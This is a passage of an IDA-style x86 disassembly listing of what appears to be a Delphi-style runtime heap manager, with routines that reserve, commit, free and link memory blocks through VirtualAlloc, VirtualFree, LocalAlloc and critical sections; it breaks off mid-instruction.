; --------------------------------------------------------------------------- loc_3D45CA: ; CODE XREF: sub_3D458C+28j add eax, [esi+4] cmp eax, [ebx+8] jnz short loc_3D45DF mov eax, ebx call sub_3D4574 mov eax, [ebx+0Ch] add [esi+4], eax loc_3D45DF: ; CODE XREF: sub_3D458C+3Cj ; sub_3D458C+44j mov ebx, edi cmp ebp, ebx jnz short loc_3D45A8 mov edx, esi mov eax, ebp call sub_3D4544 test al, al jnz short loc_3D45F6 xor eax, eax mov [esi], eax loc_3D45F6: ; CODE XREF: sub_3D458C+64j pop edx pop ebp pop edi pop esi pop ebx retn sub_3D458C endp ; =============== S U B R O U T I N E ======================================= sub_3D45FC proc near ; CODE XREF: sub_3D4AEC+7Ap ; sub_3D4ED4+99p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, eax mov edi, ebx loc_3D4607: ; CODE XREF: sub_3D45FC+88j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_3D4680 mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_3D4680 cmp esi, eax jnz short loc_3D463D mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_3D467C mov eax, ebx call sub_3D4574 jmp short loc_3D467C ; --------------------------------------------------------------------------- loc_3D463D: ; CODE XREF: sub_3D45FC+24j mov ecx, esi mov edi, [edx+4] add ecx, edi mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp jnz short loc_3D4652 sub [ebx+0Ch], edi jmp short loc_3D467C ; --------------------------------------------------------------------------- loc_3D4652: ; CODE XREF: sub_3D45FC+4Fj mov ecx, [edx] add ecx, [edx+4] mov [esp+18h+var_18], ecx mov edi, [ebx+8] add edi, [ebx+0Ch] sub edi, ecx mov [esp+18h+var_14], edi sub esi, eax mov [ebx+0Ch], esi mov edx, esp mov eax, ebx call sub_3D4544 test al, al jnz short loc_3D467C xor eax, eax jmp short loc_3D4688 ; --------------------------------------------------------------------------- loc_3D467C: ; CODE XREF: sub_3D45FC+36j ; sub_3D45FC+3Fj ... mov al, 1 jmp short loc_3D4688 ; --------------------------------------------------------------------------- loc_3D4680: ; CODE XREF: sub_3D45FC+12j ; sub_3D45FC+20j mov ebx, [ebx] cmp edi, ebx jnz short loc_3D4607 xor eax, eax loc_3D4688: ; CODE XREF: sub_3D45FC+7Ej ; sub_3D45FC+82j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_3D45FC endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D4690 proc near ; CODE XREF: sub_3D4938+5Cp push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_3D46A6 mov esi, 100000h jmp short loc_3D46B2 ; --------------------------------------------------------------------------- loc_3D46A6: ; CODE XREF: sub_3D4690+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_3D46B2: ; CODE XREF: sub_3D4690+14j mov [ebx+4], esi push 1 push 2000h push esi push 0 call sub_3D44BC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_3D46EF mov edx, ebx mov eax, offset dword_4055D4 call sub_3D4544 test al, al jnz short loc_3D46EF push 8000h push 0 mov eax, [ebx] push eax call sub_3D44C4 ; VirtualFree xor eax, eax mov [ebx], eax loc_3D46EF: ; CODE XREF: sub_3D4690+3Aj ; sub_3D4690+4Aj pop edi pop esi pop ebx retn sub_3D4690 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D46F4 proc near ; CODE XREF: sub_3D49C8+4Cp ; sub_3D49C8+93p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 push 2000h push 100000h push ebp call sub_3D44BC ; VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_3D473E add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 push 2000h push esi push ebp call sub_3D44BC ; VirtualAlloc mov [ebx], eax loc_3D473E: ; CODE XREF: sub_3D46F4+29j cmp dword ptr [ebx], 0 jz short loc_3D4766 mov edx, ebx mov eax, offset dword_4055D4 call sub_3D4544 test al, al jnz short loc_3D4766 push 8000h push 0 mov eax, [ebx] push eax call sub_3D44C4 ; VirtualFree xor eax, eax mov [ebx], eax loc_3D4766: ; CODE XREF: sub_3D46F4+4Dj ; sub_3D46F4+5Dj pop ebp pop edi pop esi pop ebx retn sub_3D46F4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D476C proc near ; CODE XREF: sub_3D4938+7Ep ; sub_3D49C8+7Ap ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov [esp+24h+var_24], edx mov [esp+24h+var_1C], 0FFFFFFFFh xor edx, edx mov [esp+24h+var_18], edx mov ebp, eax mov eax, [esp+24h+var_24] add eax, ebp mov [esp+24h+var_14], eax mov ebx, dword_4055D4 jmp short loc_3D47EC ; --------------------------------------------------------------------------- loc_3D479B: ; CODE XREF: sub_3D476C+86j mov edi, [ebx] mov esi, [ebx+8] cmp ebp, esi ja short loc_3D47EA mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_14] ja short loc_3D47EA cmp esi, [esp+24h+var_1C] jnb short loc_3D47B9 mov [esp+24h+var_1C], esi loc_3D47B9: ; CODE XREF: sub_3D476C+47j mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_18] jbe short loc_3D47C8 mov [esp+24h+var_18], eax loc_3D47C8: ; CODE XREF: sub_3D476C+56j push 8000h push 0 push esi call sub_3D44C4 ; VirtualFree test eax, eax jnz short loc_3D47E3 mov dword_4055B0, 1 loc_3D47E3: ; CODE XREF: sub_3D476C+6Bj mov eax, ebx call sub_3D4574 loc_3D47EA: ; CODE XREF: sub_3D476C+36j ; sub_3D476C+41j mov ebx, edi loc_3D47EC: ; CODE XREF: sub_3D476C+2Dj cmp ebx, offset dword_4055D4 jnz short loc_3D479B mov eax, [esp+24h+var_20] xor edx, edx mov [eax], edx cmp [esp+24h+var_18], 0 jz short loc_3D481C mov eax, [esp+24h+var_20] mov edx, [esp+24h+var_1C] mov [eax], edx mov eax, [esp+24h+var_18] sub eax, [esp+24h+var_1C] mov edx, [esp+24h+var_20] mov [edx+4], eax loc_3D481C: ; CODE XREF: sub_3D476C+95j add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_3D476C endp ; =============== S U B R O U T I N E ======================================= sub_3D4824 proc near ; CODE XREF: sub_3D4938+2Dp ; sub_3D49C8+E6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_18], ecx mov [esp+1Ch+var_1C], edx mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+1Ch+var_1C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+1Ch+var_14], edx mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_14] sub eax, ebp mov edx, [esp+1Ch+var_18] mov [edx+4], eax mov esi, dword_4055D4 jmp short loc_3D48A6 ; --------------------------------------------------------------------------- loc_3D486A: ; CODE XREF: sub_3D4824+88j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebp, ebx jbe short loc_3D4878 mov ebx, ebp loc_3D4878: ; CODE XREF: sub_3D4824+50j cmp edi, [esp+1Ch+var_14] jbe short loc_3D4882 mov edi, [esp+1Ch+var_14] loc_3D4882: ; CODE XREF: sub_3D4824+58j cmp edi, ebx jbe short loc_3D48A4 push 4 push 1000h sub edi, ebx push edi push ebx call sub_3D44BC ; VirtualAlloc test eax, eax jnz short loc_3D48A4 mov eax, [esp+1Ch+var_18] xor edx, edx mov [eax], edx jmp short loc_3D48AE ; --------------------------------------------------------------------------- loc_3D48A4: ; CODE XREF: sub_3D4824+60j ; sub_3D4824+74j mov esi, [esi] loc_3D48A6: ; CODE XREF: sub_3D4824+44j cmp esi, offset dword_4055D4 jnz short loc_3D486A loc_3D48AE: ; CODE XREF: sub_3D4824+7Ej add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_3D4824 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D48B8 proc near ; CODE XREF: sub_3D4AEC+2Ep var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+14h+var_14], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+14h+var_14] mov [ecx], eax mov eax, ebp sub eax, [esp+14h+var_14] mov [ecx+4], eax mov esi, dword_4055D4 jmp short loc_3D4927 ; --------------------------------------------------------------------------- loc_3D48EF: ; CODE XREF: sub_3D48B8+75j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebx, [esp+14h+var_14] jnb short loc_3D48FF mov ebx, [esp+14h+var_14] loc_3D48FF: ; CODE XREF: sub_3D48B8+42j cmp ebp, edi jnb short loc_3D4905 mov edi, ebp loc_3D4905: ; CODE XREF: sub_3D48B8+49j cmp edi, ebx jbe short loc_3D4925 push 4000h sub edi, ebx push edi push ebx call sub_3D44C4 ; VirtualFree test eax, eax jnz short loc_3D4925 mov dword_4055B0, 2 loc_3D4925: ; CODE XREF: sub_3D48B8+4Fj ; sub_3D48B8+61j mov esi, [esi] loc_3D4927: ; CODE XREF: sub_3D48B8+35j cmp esi, offset dword_4055D4 jnz short loc_3D48EF pop edx pop ebp pop edi pop esi pop ebx retn sub_3D48B8 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D4938 proc near ; CODE XREF: sub_3D50E4+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx mov edi, eax mov ebp, offset dword_4055E4 add edi, 3FFFh and edi, 0FFFFC000h loc_3D4954: ; CODE XREF: sub_3D4938+75j mov ebx, [ebp+0] jmp short loc_3D498C ; --------------------------------------------------------------------------- loc_3D4959: ; CODE XREF: sub_3D4938+56j cmp edi, [ebx+0Ch] jg short loc_3D498A mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_3D4824 cmp dword ptr [esi], 0 jz short loc_3D49BF mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_3D49BF mov eax, ebx call sub_3D4574 jmp short loc_3D49BF ; --------------------------------------------------------------------------- loc_3D498A: ; CODE XREF: sub_3D4938+24j mov ebx, [ebx] loc_3D498C: ; CODE XREF: sub_3D4938+1Fj cmp ebx, ebp jnz short loc_3D4959 mov edx, esi mov eax, edi call sub_3D4690 cmp dword ptr [esi], 0 jz short loc_3D49BF mov ecx, esp mov edx, esi mov eax, ebp call sub_3D458C cmp [esp+18h+var_18], 0 jnz short loc_3D4954 mov ecx, esp mov edx, [esi+4] mov eax, [esi] call sub_3D476C xor eax, eax mov [esi], eax loc_3D49BF: ; CODE XREF: sub_3D4938+35j ; sub_3D4938+47j ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_3D4938 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D49C8 proc near ; CODE XREF: sub_3D5110+10p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], ecx mov edi, edx mov esi, eax mov ebp, offset dword_4055E4 add edi, 3FFFh and edi, 0FFFFC000h loc_3D49E7: ; CODE XREF: sub_3D49C8+6Cj ; sub_3D49C8+B3j mov ebx, [ebp+0] jmp short loc_3D49EE ; --------------------------------------------------------------------------- loc_3D49EC: ; CODE XREF: sub_3D49C8+2Dj mov ebx, [ebx] loc_3D49EE: ; CODE XREF: sub_3D49C8+22j cmp ebx, ebp jz short loc_3D49F7 cmp esi, [ebx+8] jnz short loc_3D49EC loc_3D49F7: ; CODE XREF: sub_3D49C8+28j cmp esi, [ebx+8] jnz short loc_3D4A53 cmp edi, [ebx+0Ch] jle loc_3D4A9B lea ecx, [esp+24h+var_20] mov edx, edi sub edx, [ebx+0Ch] mov eax, [ebx+8] add eax, [ebx+0Ch] call sub_3D46F4 cmp [esp+24h+var_20], 0 jz short loc_3D4A53 lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_3D458C cmp [esp+24h+var_18], 0 jnz short loc_3D49E7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_3D476C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp loc_3D4AE3 ; --------------------------------------------------------------------------- loc_3D4A53: ; CODE XREF: sub_3D49C8+32j ; sub_3D49C8+56j lea ecx, [esp+24h+var_20] mov edx, edi mov eax, esi call sub_3D46F4 cmp [esp+24h+var_20], 0 jz short loc_3D4A9B lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_3D458C cmp [esp+24h+var_18], 0 jnz loc_3D49E7 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_3D476C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp short loc_3D4AE3 ; --------------------------------------------------------------------------- loc_3D4A9B: ; CODE XREF: sub_3D49C8+37j ; sub_3D49C8+9Dj mov ebp, [ebx+8] cmp esi, ebp jnz short loc_3D4ADC cmp edi, [ebx+0Ch] jg short loc_3D4ADC mov ecx, [esp+24h+var_24] mov edx, edi mov eax, ebp call sub_3D4824 mov eax, [esp+24h+var_24] cmp dword ptr [eax], 0 jz short loc_3D4AE3 mov eax, [esp+24h+var_24] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+24h+var_24] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_3D4AE3 mov eax, ebx call sub_3D4574 jmp short loc_3D4AE3 ; --------------------------------------------------------------------------- loc_3D4ADC: ; CODE XREF: sub_3D49C8+D8j ; sub_3D49C8+DDj mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_3D4AE3: ; CODE XREF: sub_3D49C8+86j ; sub_3D49C8+D1j ... add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_3D49C8 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D4AEC proc near ; CODE XREF: sub_3D4ED4+4Ep ; sub_3D4ED4+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, ecx mov [esp+20h+var_20], edx lea ebx, [eax+3FFFh] and ebx, 0FFFFC000h mov esi, [esp+20h+var_20] add esi, eax and esi, 0FFFFC000h cmp ebx, esi jnb short loc_3D4B6D mov ecx, edi mov edx, esi sub edx, ebx mov eax, ebx call sub_3D48B8 lea ecx, [esp+20h+var_1C] mov edx, edi mov eax, offset dword_4055E4 call sub_3D458C mov ebx, [esp+20h+var_1C] test ebx, ebx jz short loc_3D4B56 lea ecx, [esp+20h+var_14] mov edx, [esp+20h+var_18] mov eax, ebx call sub_3D476C mov eax, [esp+20h+var_14] mov [esp+20h+var_1C], eax mov eax, [esp+20h+var_10] mov [esp+20h+var_18], eax loc_3D4B56: ; CODE XREF: sub_3D4AEC+49j cmp [esp+20h+var_1C], 0 jz short loc_3D4B71 lea edx, [esp+20h+var_1C] mov eax, offset dword_4055E4 call sub_3D45FC jmp short loc_3D4B71 ; --------------------------------------------------------------------------- loc_3D4B6D: ; CODE XREF: sub_3D4AEC+24j xor eax, eax mov [edi], eax loc_3D4B71: ; CODE XREF: sub_3D4AEC+6Fj ; sub_3D4AEC+7Fj add esp, 14h pop edi pop esi pop ebx retn sub_3D4AEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D4B78 proc near ; CODE XREF: sub_3D5264+14p ; sub_3D53F4+19p ... push ebp mov ebp, esp xor edx, edx push ebp push offset word_40182E push dword ptr fs:[edx] mov fs:[edx], esp push offset dword_4055B4 call sub_3D44CC ; InitializeCriticalSection cmp byte_405035, 0 jz short loc_3D4BA6 push offset dword_4055B4 call sub_3D44D4 ; RtlEnterCriticalSection loc_3D4BA6: ; CODE XREF: sub_3D4B78+22j mov eax, offset dword_4055D4 call sub_3D453C mov eax, offset dword_4055E4 call sub_3D453C mov eax, offset dword_405610 call sub_3D453C push 0FF8h push 0 call sub_3D44AC ; LocalAlloc mov dword_40560C, eax cmp dword_40560C, 0 jz short loc_3D4C0D mov eax, 3 loc_3D4BE3: ; CODE XREF: sub_3D4B78+7Dj mov edx, dword_40560C xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_3D4BE3 mov eax, offset dword_4055F4 mov [eax+4], eax mov [eax], eax mov dword_405600, eax mov byte_4055AC, 1 loc_3D4C0D: ; CODE XREF: sub_3D4B78+64j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset aAmu@ ; " ¬U@" cmp byte_405035, 0 jz short locret_3D4C2D push offset dword_4055B4 call sub_3D44DC ; RtlLeaveCriticalSection locret_3D4C2D: ; CODE XREF: sub_3D4B78+A9j retn sub_3D4B78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 55E9h dd 0EB000011h, 55ACA0E5h, 0C35D0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D4C3C proc near ; CODE XREF: .data:003D6513p push ebp mov ebp, esp push ebx cmp byte_4055AC, 0 jz loc_3D4D19 xor edx, edx push ebp push offset word_401912 push dword ptr fs:[edx] mov fs:[edx], esp cmp byte_405035, 0 jz short loc_3D4C6E push offset dword_4055B4 call sub_3D44D4 ; RtlEnterCriticalSection loc_3D4C6E: ; CODE XREF: sub_3D4C3C+26j mov byte_4055AC, 0 mov eax, dword_40560C push eax call sub_3D44B4 ; LocalFree xor eax, eax mov dword_40560C, eax mov ebx, dword_4055D4 jmp short loc_3D4CA1 ; --------------------------------------------------------------------------- loc_3D4C8F: ; CODE XREF: sub_3D4C3C+6Bj push 8000h push 0 mov eax, [ebx+8] push eax call sub_3D44C4 ; VirtualFree mov ebx, [ebx] loc_3D4CA1: ; CODE XREF: sub_3D4C3C+51j cmp ebx, offset dword_4055D4 jnz short loc_3D4C8F mov eax, offset dword_4055D4 call sub_3D453C mov eax, offset dword_4055E4 call sub_3D453C mov eax, offset dword_405610 call sub_3D453C mov eax, dword_4055CC test eax, eax jz short loc_3D4CE7 loc_3D4CD0: ; CODE XREF: sub_3D4C3C+A9j mov edx, [eax] mov dword_4055CC, edx push eax call sub_3D44B4 ; LocalFree mov eax, dword_4055CC test eax, eax jnz short loc_3D4CD0 loc_3D4CE7: ; CODE XREF: sub_3D4C3C+92j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401919 cmp byte_405035, 0 jz short loc_3D4D07 push offset dword_4055B4 call sub_3D44DC ; RtlLeaveCriticalSection loc_3D4D07: ; CODE XREF: sub_3D4C3C+BFj push offset dword_4055B4 call sub_3D44E4 ; RtlDeleteCriticalSection retn ; --------------------------------------------------------------------------- dw 71E9h dd 0EB000010h db 0DBh ; --------------------------------------------------------------------------- loc_3D4D19: ; CODE XREF: sub_3D4C3C+Bj pop ebx pop ebp retn sub_3D4C3C endp ; =============== S U B R O U T I N E ======================================= sub_3D4D1C proc near ; CODE XREF: sub_3D4E2C:loc_3D4E8Dp ; sub_3D4E9C+23p ... push ebx cmp eax, dword_405600 jnz short loc_3D4D2E mov edx, [eax+4] mov dword_405600, edx loc_3D4D2E: ; CODE XREF: sub_3D4D1C+7j mov edx, [eax+4] mov ecx, [eax+8] cmp ecx, 1000h jg short loc_3D4D74 cmp eax, edx jnz short loc_3D4D57 test ecx, ecx jns short loc_3D4D47 add ecx, 3 loc_3D4D47: ; CODE XREF: sub_3D4D1C+26j sar ecx, 2 mov eax, dword_40560C xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_3D4D7B ; --------------------------------------------------------------------------- loc_3D4D57: ; CODE XREF: sub_3D4D1C+22j test ecx, ecx jns short loc_3D4D5E add ecx, 3 loc_3D4D5E: ; CODE XREF: sub_3D4D1C+3Dj sar ecx, 2 mov ebx, dword_40560C mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; --------------------------------------------------------------------------- loc_3D4D74: ; CODE XREF: sub_3D4D1C+1Ej mov eax, [eax] mov [edx], eax mov [eax+4], edx loc_3D4D7B: ; CODE XREF: sub_3D4D1C+39j pop ebx retn sub_3D4D1C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D4D80 proc near ; CODE XREF: sub_3D4ED4+11p mov edx, dword_405610 jmp short loc_3D4D98 ; --------------------------------------------------------------------------- loc_3D4D88: ; CODE XREF: sub_3D4D80+1Ej mov ecx, [edx+8] cmp eax, ecx jb short loc_3D4D96 add ecx, [edx+0Ch] cmp eax, ecx jb short loc_3D4DAC loc_3D4D96: ; CODE XREF: sub_3D4D80+Dj mov edx, [edx] loc_3D4D98: ; CODE XREF: sub_3D4D80+6j cmp edx, offset dword_405610 jnz short loc_3D4D88 mov dword_4055B0, 3 xor edx, edx loc_3D4DAC: ; CODE XREF: sub_3D4D80+14j mov eax, edx retn sub_3D4D80 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D4DB0 proc near ; CODE XREF: sub_3D4ED4+74p ; sub_3D5058+68p push ebx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] cmp edx, 10h jl short loc_3D4DCD mov dword ptr [ebx], 80000007h mov edx, ecx call sub_3D4F84 pop ebx retn ; --------------------------------------------------------------------------- loc_3D4DCD: ; CODE XREF: sub_3D4DB0+Cj cmp edx, 4 jl short loc_3D4DDE mov ecx, edx or ecx, 80000002h mov [eax], ecx mov [ebx], ecx loc_3D4DDE: ; CODE XREF: sub_3D4DB0+20j pop ebx retn sub_3D4DB0 endp ; =============== S U B R O U T I N E ======================================= sub_3D4DE0 proc near ; CODE XREF: sub_3D4E04+Dp ; sub_3D500C+36p ... inc dword_40559C mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add dword_4055A0, edx call sub_3D53F4 retn sub_3D4DE0 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D4E04 proc near ; CODE XREF: sub_3D4ED4+8Ep cmp edx, 0Ch jl short loc_3D4E17 or edx, 2 mov [eax], edx add eax, 4 call sub_3D4DE0 retn ; --------------------------------------------------------------------------- loc_3D4E17: ; CODE XREF: sub_3D4E04+3j cmp edx, 4 jl short loc_3D4E26 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_3D4E26: ; CODE XREF: sub_3D4E04+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_3D4E04 endp ; =============== S U B R O U T I N E ======================================= sub_3D4E2C proc near ; CODE XREF: sub_3D5058+36p push ebx push esi mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_3D4E4F mov dword_4055B0, 4 loc_3D4E4F: ; CODE XREF: sub_3D4E2C+17j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_3D4E6F mov dword_4055B0, 5 loc_3D4E6F: ; CODE XREF: sub_3D4E2C+37j test byte ptr [ecx], 1 jz short loc_3D4E94 mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi cmp esi, [eax+8] jz short loc_3D4E8D mov dword_4055B0, 6 loc_3D4E8D: ; CODE XREF: sub_3D4E2C+55j call sub_3D4D1C add ebx, esi loc_3D4E94: ; CODE XREF: sub_3D4E2C+46j mov eax, ebx pop esi pop ebx retn sub_3D4E2C endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D4E9C proc near ; CODE XREF: sub_3D5058+4Fp push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_3D4EB7 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_3D4EB7: ; CODE XREF: sub_3D4E9C+Ej test al, 2 jnz short loc_3D4ECE mov esi, ebx mov eax, esi call sub_3D4D1C mov eax, [esi+8] add edi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_3D4ECE: ; CODE XREF: sub_3D4E9C+1Dj mov eax, edi pop edi pop esi pop ebx retn sub_3D4E9C endp ; =============== S U B R O U T I N E ======================================= sub_3D4ED4 proc near ; CODE XREF: sub_3D4F84+61p var_1C = byte ptr -1Ch var_1B = dword ptr -1Bh var_17 = dword ptr -17h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edi, edx mov esi, eax mov [esp+1Ch+var_1C], 0 mov eax, esi call sub_3D4D80 mov ebx, eax test ebx, ebx jz loc_3D4F76 mov ebp, [ebx+8] mov eax, ebp add eax, [ebx+0Ch] mov edx, eax lea ecx, [edi+esi] sub edx, ecx cmp edx, 0Ch jg short loc_3D4F0C mov edi, eax sub edi, esi loc_3D4F0C: ; CODE XREF: sub_3D4ED4+32j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_3D4F29 lea ecx, [esp+1Ch+var_1B] mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_3D4AEC jmp short loc_3D4F3A ; --------------------------------------------------------------------------- loc_3D4F29: ; CODE XREF: sub_3D4ED4+3Fj lea ecx, [esp+1Ch+var_1B] mov edx, edi sub edx, 4 lea eax, [esi+4] call sub_3D4AEC loc_3D4F3A: ; CODE XREF: sub_3D4ED4+53j mov ebp, [esp+1Ch+var_1B] test ebp, ebp jz short loc_3D4F76 mov edx, ebp sub edx, esi mov eax, esi call sub_3D4DB0 mov eax, ebp add eax, [esp+1Ch+var_17] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnb short loc_3D4F67 lea edx, [edi+esi] sub edx, eax call sub_3D4E04 loc_3D4F67: ; CODE XREF: sub_3D4ED4+87j lea edx, [esp+1Ch+var_1B] mov eax, ebx call sub_3D45FC mov [esp+1Ch+var_1C], 1 loc_3D4F76: ; CODE XREF: sub_3D4ED4+1Aj ; sub_3D4ED4+6Cj mov al, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_3D4ED4 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D4F84 proc near ; CODE XREF: sub_3D4DB0+16p ; sub_3D5170+BBp ... push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, edi mov [ebx+8], esi mov eax, ebx add eax, esi sub eax, 0Ch mov [eax+8], esi cmp esi, 1000h jg short loc_3D4FD9 mov edx, esi test edx, edx jns short loc_3D4FAB add edx, 3 loc_3D4FAB: ; CODE XREF: sub_3D4F84+22j sar edx, 2 mov eax, dword_40560C mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_3D4FCB mov eax, dword_40560C mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_3D5005 ; --------------------------------------------------------------------------- loc_3D4FCB: ; CODE XREF: sub_3D4F84+35j mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_3D5005 ; --------------------------------------------------------------------------- loc_3D4FD9: ; CODE XREF: sub_3D4F84+1Cj cmp esi, 3C00h jl short loc_3D4FEE mov edx, esi mov eax, edi call sub_3D4ED4 test al, al jnz short loc_3D5005 loc_3D4FEE: ; CODE XREF: sub_3D4F84+5Bj mov eax, dword_405600 mov dword_405600, ebx mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx loc_3D5005: ; CODE XREF: sub_3D4F84+45j ; sub_3D4F84+53j ... pop edi pop esi pop ebx retn sub_3D4F84 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D500C proc near ; CODE XREF: sub_3D5058+Fp ; sub_3D53F4+100p ... cmp dword_405604, 0 jle short locret_3D5055 cmp dword_405604, 0Ch jge short loc_3D502A mov dword_4055B0, 7 jmp short locret_3D5055 ; --------------------------------------------------------------------------- loc_3D502A: ; CODE XREF: sub_3D500C+10j mov eax, dword_405604 or eax, 2 mov edx, dword_405608 mov [edx], eax mov eax, dword_405608 add eax, 4 call sub_3D4DE0 xor eax, eax mov dword_405608, eax xor eax, eax mov dword_405604, eax locret_3D5055: ; CODE XREF: sub_3D500C+7j ; sub_3D500C+1Cj retn sub_3D500C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D5058 proc near ; CODE XREF: sub_3D50E4+18p ; sub_3D5110+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, 